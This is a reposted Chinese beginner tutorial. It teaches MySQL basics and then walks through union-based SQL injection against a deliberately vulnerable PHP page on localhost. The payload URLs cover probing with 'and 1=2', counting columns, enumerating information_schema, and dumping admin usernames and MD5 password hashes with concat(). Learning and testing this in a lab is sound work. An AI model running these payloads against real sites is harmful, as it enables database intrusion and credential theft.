【转载】sql注入之入门
MySql基础语法
mysql无非就是增删改查
- mysql数据库结构:
- 数据库 test,test1
- 表名 admin,manage
- 数据 id,username,password
现在,为了我们接下来的实验,我们需要切换数据库到test,mysql自带一个test数据库,没有装mysql的自行百度
切换方式:
mysql> use test;
|
create 创建表
首先我们先来创建一个表名为:admin,里面包含了id,username,password,email:
mysql> create table admin(
-> id int(3) auto_increment not null primary key,
-> username varchar(15) not null,
-> password char(32),
-> email varchar(30));
Query OK, 0 rows affected (0.01 sec) --有了这个提示就是创建成功了
现在我们已经成功创建了一个,可以用desc来查看表结构:
mysql> desc admin;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(3) | NO | PRI | NULL | auto_increment |
| username | varchar(15) | NO | | NULL | |
| password | char(32) | YES | | NULL | |
| email | varchar(30) | YES | | NULL | |
+----------+-------------+------+-----+---------+----------------+
4 rows in set (0.04 sec)
insert 插入数据
接着上面的表,我们想表里面插入一条数据
mysql> insert into admin(username,password,email) values('smelond','qweqwe','2698115328@qq.com'); --为什么没有指定id列,因为我们在创建表时给id指定了自动增值(auto_increment)
Query OK, 1 row affected (0.00 sec)
select 查询语句
上面我们已经向数据库里面插入了一条数据了,现在我们可以查询一下是否插入成功
mysql> select * from admin;
+----+----------+----------+-------------------+
| id | username | password | email |
+----+----------+----------+-------------------+
| 1 | smelond | qweqwe | 2698115328@qq.com |
+----+----------+----------+-------------------+
1 row in set (0.00 sec) --已经看到了,数据已经插入进去,并且id号为1,如果我们下次插入id号会自动增长
update 修改表中的数据
现在我们为admin数据表在次插入一条数据
mysql> insert into admin(username,password,email) values('admin','qweqwe','xxx@163.com');
Query OK, 1 row affected (0.00 sec)
插入完成以后用updata修改admin的密码为asdasd,(从原来的qweqwe修改为asdasd)
mysql> update admin set password='asdasd' where username='admin'; --修改passwrod为asdasd,条件是username=admin
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
接着我们查询一下是否修改成功
mysql> select * from admin;
+----+----------+----------+-------------------+
| id | username | password | email |
+----+----------+----------+-------------------+
| 1 | smelond | qweqwe | 2698115328@qq.com |
| 2 | admin | asdasd | xxx@163.com |
+----+----------+----------+-------------------+
2 rows in set (0.00 sec)
delete 删除表中的数据
上面我们已经向表中插入了两条数据了
现在我们试着将表中的数据删除
mysql> delete from admin where username='admin';
Query OK, 1 row affected (0.00 sec)
mysql> delete from admin where id=1;
Query OK, 1 row affected (0.00 sec)
可以看到我上面已经删除了两条数据,
现在查询admin数据库里面应该什么都没有
mysql> select * from admin;
Empty set (0.00 sec)
常见的方式手工判断网站是否可以注入
1=1 and 1=2
|
SQL注入的准备
什么是SQL注入攻击?
SQL攻击(英语:SQL injection),简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。(引用wiki)
sql注入实验环境:
- phpstudy集成环境
- IDE:sublime text3
- 没有的自行百度!!!
编写一个有漏洞的PHP代码
首先我们需要启动mysql,创建一个数据库命名为sqlin,并且切换过去 use sqlin
create database sqlin default character set utf8 collate utf8_general_ci;
|
创建admin表和page表:
mysql> create table admin(
|
向admin、page表里面分别插入数据
mysql> insert into admin(username,password) values('smelond','efe6398127928f1b2e9ef3207fb82663');
|
上面的efe6398127928f1b2e9ef3207fb82663是32位的md5值,没加密之前是qweqwe
然后我们查询一下是数据是否插入成功:
mysql> select * from admin;
|
解释一下,为什么我们创建了一个数据库会又在数据库里面创建了两个表?为什么不是一个表?
原因是因为:
- 在真实的网站案例中,没有管理员会把所有的数据都放在一个表中,而是多个表、多个数据库(方便管理)。
- 放在一个表中查询很麻烦,比如文章,用户名,一些个人信息等。
- 还有很多很多原因。。。
编写php代码
没学过php,代码写的不行,路过的大神可以帮忙看看
<!DOCTYPE html>
|
上面的代码中,我们连接数据库是slqin,查询的数据表时page,并没有用到admin那个表,因为网页显示的是文章或一些其他的内容。
开始我们的表演
我刚刚已经将我写的代码放到了phpstudy的WWW目录下了
我的路径是:D:\phpStudy\PHPTutorial\WWW\webpentest\mysql\index.php
现在开始访问网站
http://127.0.0.1/webpentest/mysql/index.php
|
访问进入之后可能就是一些报错信息,不管这些,因为页面上的内容是从数据库里面调用的,然后在index.php后面加上?x=1
http://127.0.0.1/webpentest/mysql/index?x=1 //?x=1意思是从数据库里面找id=1的内容
|
现在看看,网页上面是否有了正常数据库了呢
简单的判断是否存在注入
判断网站是否存在注入,可以先试着在?x=1后面加上and 1=1、and 1=2
- 加上and 1=1会返回正常页面,如果出现安全狗之类的(实战中)错误,以后再说
- 加上and 1=2返回页面错误,就可能有注入了,因为页面上的内容是到数据库里面查询返回结果的
- 加上and 1=2时,看下面语句:
-
-
mysql> select * from page where id=1 and 1=1;
+----+----------+---------------------+
| id | title | content |
+----+----------+---------------------+
| 1 | sqlzhuru | https://smelond.com |
+----+----------+---------------------+
1 row in set (0.00 sec) //正常返回
mysql> select * from page where id=1 and 1=2;
Empty set (0.00 sec) //看吧,没有返回,所以网页上面没有内容
-
在页面后面加上 and 1=2,没有正常返回结果,那当然就是有注入了
看到当前执行的语句为:select * from page where id=1 and 1=2
查询数据库信息
- order by number //判断字段
- union select 1,2,3… //将两个表合并一起查询
- database() //数据库名
- user() //数据库用户
- version() //数据库版本
- @@version_compile_os //操作系统
拿上刚刚写的页面测试order by
- http://127.0.0.1/webpentest/mysql/index.php?x=1 order by 5 //返回错误
- http://127.0.0.1/webpentest/mysql/index.php?x=1 order by 2 //返回正常
- http://127.0.0.1/webpentest/mysql/index.php?x=1 order by 3 //返回正常
- http://127.0.0.1/webpentest/mysql/index.php?x=1 order by 4 //返回错误
好了,现在已经判断出一共有3个字段了
接着 union
- http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,2,3
又有了同学问道,为啥前面要加上and 1=2 ?
原因是因为:先让网页报错,然后进行union后面的查询,这样后面查询的内容才会显示在网页上。
网页已经显示出了我们查询的1,2,3
再来查询数据库名,数据库用户,数据库版本
- http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select database(),user(),version()
现在已经获取到了数据库名,数据库用户,数据库版本了
一个小小的提示:
- mysql5.0以上的数据库自带:information_schema
- information_schema数据库存储了mysql下所有的数据库、表名、列名
请你一定记住这个,而且现在基本都是mysql5.0以上的数据库了
information_schema表该怎么用?
现在我们已经获取到了数据库名:sqlin;数据库用户:root;数据库版本:5.5.53
在数据库查询语句中”.”表示下一级的意思
- information_schema.schemata
- information_schema数据库里面的schemata表,他里面存储了所有数据库名称。
- information_schema.tables
- information_schema数据库里面的tables表,他里面存储了所有数据库下的表名信息。
- information_schema.columns:
- information_schema数据库里面的columns表,他里面存储了所有数据库下的列名信息。
- table_schema 数据表所属的数据库名
- table_name 表名称
- column_name 列名称
- schema_name 数据库名
获取数据库下的表名信息
然后我们现在来试着获取sqlin数据库下的所有表名信息:
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 0,1
|
同时取多个:
首先我们试试:
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,table_name,3 from information_schema.tables where table_schema='sqlin' limit 0,2
|
再试试:
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select table_name,(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),3 from information_schema.tables where table_schema='sqlin' limit 0,2
|
我们在数据库里面简单的测试一下
mysql> select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 0,1;
+------------+---+---+
| table_name | 2 | 3 |
+------------+---+---+
| admin | 2 | 3 |
+------------+---+---+
1 row in set (0.00 sec)
mysql> select table_name,2,3 from information_schema.tables where table_schema='sqlin' limit 1,1;
+------------+---+---+
| table_name | 2 | 3 |
+------------+---+---+
| page | 2 | 3 |
+------------+---+---+
1 row in set (0.00 sec)
mysql> select table_name,(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1),2 from information_schema.tables where table_schema='sqlin' limit 0,1;
+------------+-----------------------------------------------------------------------------------------+---+
| table_name | (select table_name from information_schema.tables where table_schema='sqlin' limit 1,1) | 2 |
+------------+-----------------------------------------------------------------------------------------+---+
| admin | page | 2 |
+------------+-----------------------------------------------------------------------------------------+---+
1 row in set (0.00 sec)
现在我们已经获取到一下内容:
- 网站数据库名: sqlin
- 数据库版本: 5.5.53
- 数据库用户: root
- 当前网站数据库下的表名: 分别为admin,page
获取数据库下的表名下的列名信息
上面我们已经获取到了sqlin数据库,并且获取到了sqlin数据库下面的admin表,以及page表
从表的名称可以看出,admin表肯定是存储用户登录账户和密码的
继续获取admin表里面的列名信息:
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select column_name,2,3 from information_schema.columns where table_name='admin' limit 0,1
|
需要的东西都已经获取到了:
网站数据库:sqlin
数据库下的表:admin,page
admin表下的列名:id,username,password
还差最后一步,获取username,password里面的内容
这就简单了,没有之前那么繁琐
只需要查询即可:
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select username,password,3 from admin
|
偶然发现了一个很好玩的函数concat()
concat函数用于连接两个或多个字符串,形成一个字符串。
好了,现在有同学问,这个函数在sql注入中有什么作用?
cmd里面打开我们的mysql 测试一下就知道了:
mysql> select concat(123,':::','qwe');
|
现在好像知道有啥用了,哈哈!!!
比如我们在进行sql注入时,发现只有一个地方有回显,但是想同时查询username,password,等多个内容,这个时候我们就可以用concat()
好了,我还是拿着代码去试试吧。
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select concat('<br>账号:',username,'<br>','密码:',password),2,3 from admin
|
当然不止上面这个一点用法咯,还有:
http://127.0.0.1/webpentest/mysql/index.php?x=1 and 1=2 union select 1,concat(table_name,':',(select table_name from information_schema.tables where table_schema='sqlin' limit 1,1)),3 from information_schema.tables where table_schema='sqlin' limit 0,1
|
这回好像没毛病了吧,哈哈,emmmmmmmmm!!!
最后,记得拿着md5值去解密。。。
efe6398127928f1b2e9ef3207fb82663 == qweqwe